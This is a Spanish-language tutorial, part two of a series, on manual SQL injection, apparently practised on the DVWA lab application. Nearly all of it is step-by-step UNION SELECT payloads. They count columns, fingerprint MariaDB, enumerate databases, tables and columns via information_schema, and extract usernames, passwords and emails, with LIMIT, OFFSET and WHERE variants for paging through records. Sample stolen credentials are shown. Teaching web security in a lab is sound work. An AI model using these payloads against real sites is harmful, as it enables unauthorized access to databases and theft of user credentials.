¿Cómo Realizar un ERROR BASED SQL INJECTION Manualmente? [Parte 2]

PARTE 2

Ahora Intentemos con 8

En esta Ocasión tampoco nos mostro un error en la cantidad de columnas por lo tanto tenemos que volver a intentarlo pero ahora con 9.

Si con 9 columnas me genera un error confirmamos que existen 8 columnas en total, pero si no genera un error confirmamos que existen 9 columnas en total, debido a que ya probamos con 10 y nos genero error.

Ahora Intentemos con 9

En esta ocasión nos mostró un error por lo tanto podemos confirmar que existen 8 columnas en total.

  • PASO 5: Seleccionar las columnas

Una vez determinada la cantidad de columnas es necesario seleccionarlas para continuar con nuestra inyección y para ello utilizaremos el siguiente QUERY

QUERY:

' UNION SELECT 1,2,3,4,5,6,7,8 -- -

Nota:

La Cantidad de columnas que se determinaron son la cantidad que se deben poner en el QUERY anterior en este caso se determinaron 8 y se seleccionaron 8

Ahora que ya seleccionamos las columnas ya podemos proceder con nuestra inyeccion.

Nota:

Es necesario analizar los números que se muestran en el sitio web en el lugar donde se deberian mostrar los datos. En este Caso 1,2 y 3

  • PASO 6: Identificar el Gestor de Base de Datos

En este momento vamos a reemplazar el 1, el 2 o el 3 por la siguiente función para determinar el gestor de base de datos.

' UNION SELECT 1,version(),3,4,5,6,7,8 -- -

En este Ejemplo reemplazamos el valor número 2 y el resultado de Version() es MariaDB

Nota:

Es importante saber cual es el gestor de base de datos y su versión para poder preparar inyecciones diferentes para gestores diferentes.

En esta ocasión hemos determinado que el gestor de base de datos es MariaDB y crearemos el QUERY basado en eso.

  • PASO 7: Identificar el Nombre de las Bases de Datos

Ahora reemplazamos alguno de los valores por la palabra "table_schema" y este dato se sacara de la base de datos Information_schema

QUERY:

' UNION SELECT table_schema,2,3,4,5,6,7,8 FROM Information_schema.tables -- -

Table_schema es el nombre de una columna que se encuentra en la tabla "tables" que pertenece a la base de datos Information_schema. Esta columna contiene el nombre de todas las bases de datos.

Acabamos de Extraer el nombre de la primera base de datos dentro del gestor. El problema es que solo muestra uno a la vez.

Más adelante aprenderemos a ver todas las bases de datos en el gestor.

Nota:

La Base de Datos Information_Schema es una base de datos que existe en todas las aplicaciones en la cual se almacena información de otras Bases de datos.

  • PASO 8: Identificar el Nombre de las Tablas Existentes

Para Identificar el Nombre de las Tablas es necesario poner la palabra table_name en alguno de los valores, pero el resto de la query se mantiene igual.

Así que ahora vamos a sacar las tablas con la siguiente query

QUERY:

' UNION SELECT table_schema,table_name,3,4,5,6,7,8 FROM Information_schema.tables -- -

Nota:

La palabra table_name es el nombre de la columna que almacena los nombres de las Tablas de las otras bases de datos.

Lo siguiente que tenemos que hacer es determinar el nombre de las columnas

  • PASO 9: Identificar el Nombre de las Columnas Existentes

Para poder identificar el nombre de las Columnas es necesario utilizar la palabra column_name en alguno de los valores y adicionalmente cambiaremos la palabra "information_schema.tables" por la palabra "information_schema.columns"

El query a inyectar quedaria de la siguiente manera

QUERY:

' UNION SELECT table_schema,table_name,column_name,4,5,6,7,8 FROM Information_schema.columns -- -

Ya tenemos el nombre de la base de datos, de las tablas y de las columnas.

  • PASO 10: Extraer Datos de las Columnas Especificadas

Imaginen que con el método anterior encontré la tabla "USERS" y las columnas "NAME", "PASSWORD" y "EMAIl"

Entonces para extraer los datos reemplazó los números por los nombres de las columnas y finalmente le específico que lo haga de la tabla users.

Así es como Quedaría el Query.

QUERY:

' UNION SELECT name,password,email,4,5,6,7,8 FROM users -- -

Ahora ya tenemos los siguientes datos.
Nombre: admin
Contraseña: Admin
Correo: [email protected]

  • PASO 11: Filtrar los Datos Extraídos

Como pudieron apreciar solo se puede extraer un valor a la vez y solo el primero.

Para poder Extraer otros valores es necesario comenzar a filtrar los resultados con la sentencia "WHERE" o Utilizar el "LIMIT" y el "OFFSET"

WHERE: Permite especificar qué característica debe cumplir o cual no.
LIMIT: Limita la cantidad de resultados
OFFSET: Establece en que posicion deberia iniciar

  • Ejemplo 1 con LIMIT:

' UNION SELECT name,password,email,4,5,6,7,8 FROM users LIMIT 1 OFFSET 1 -- -

El Query anterior permite sacar el valor de la posición 1.

Es necesario utilizar LIMIT para poder utilizar OFFSET

Si utilizo el query anterior me muestra el siguiente resultado.

Los resultados Cambiaron a los siguientes

Nombre: Tom
Password: Tom
Email: [email protected]

  • Ejemplo 2 con WHERE:

' UNION SELECT name,password,email,4,5,6,7,8 FROM users WHERE name='tom' -- -

En este ejemplo se especifica que me muestre el primer valor que en la columna name tenga el texto "tom"

  • Ejemplo 3 con WHERE:

' UNION SELECT name,password,email,4,5,6,7,8 FROM users WHERE name!='tom' AND name!='admin' -- -

En este ejemplo se especifica que me muestre el primer valor que en la columna name no tenga el text "tom" y tampoco el texto "admin"

  • Ejemplo 4 con WHERE para ver otras Tablas:

' UNION SELECT table_schema,table_name,column_name,4,5,6,7,8 FROM Information_schema.columns WHERE table_name='users' -- -

En este ejemplo se especifica que me muestre el primer valor que en la columna table_name tenga la palabra "users"

Y el resultado es que la primera tabla llamada users se encuentra en la base de datos "DVWA"

  • Ejemplo 5 con WHERE para ver otras Columnas:

' UNION SELECT table_schema,table_name,column_name,4,5,6,7,8 FROM Information_schema.columns WHERE column_name='password' -- -

En este ejemplo se especifica que me muestre el primer valor que en la columna column_name tenga la palabra "password"

  • Ejemplo 6 con WHERE para no mostrar varias columnas que no quieres que se muestran hasta que salga una que te interese

' UNION SELECT table_schema,table_name,column_name,4,5,6,7,8 FROM Information_schema.columns WHERE table_name!='article' AND table_name!='images' AND table_name!='IPLogs' AND table_name!='videos' -- -

Este Query comienza a excluir tablas que no son de interés y la lista ira creciendo con el mismo patrón hasta encontrar una tabla como Users o cualquier otra de interés para comenzara buscar las columnas.

  • Ejemplo con combinación de WHERE, LIMIT y OFFSET

' UNION SELECT table_schema,table_name,3,4,5,6,7,8 FROM Information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 1 -- -

Este ejemplo especifica que me muestre la segunda base de datos que tenga una tabla llamada users.

Accede o Regístrate para comentar.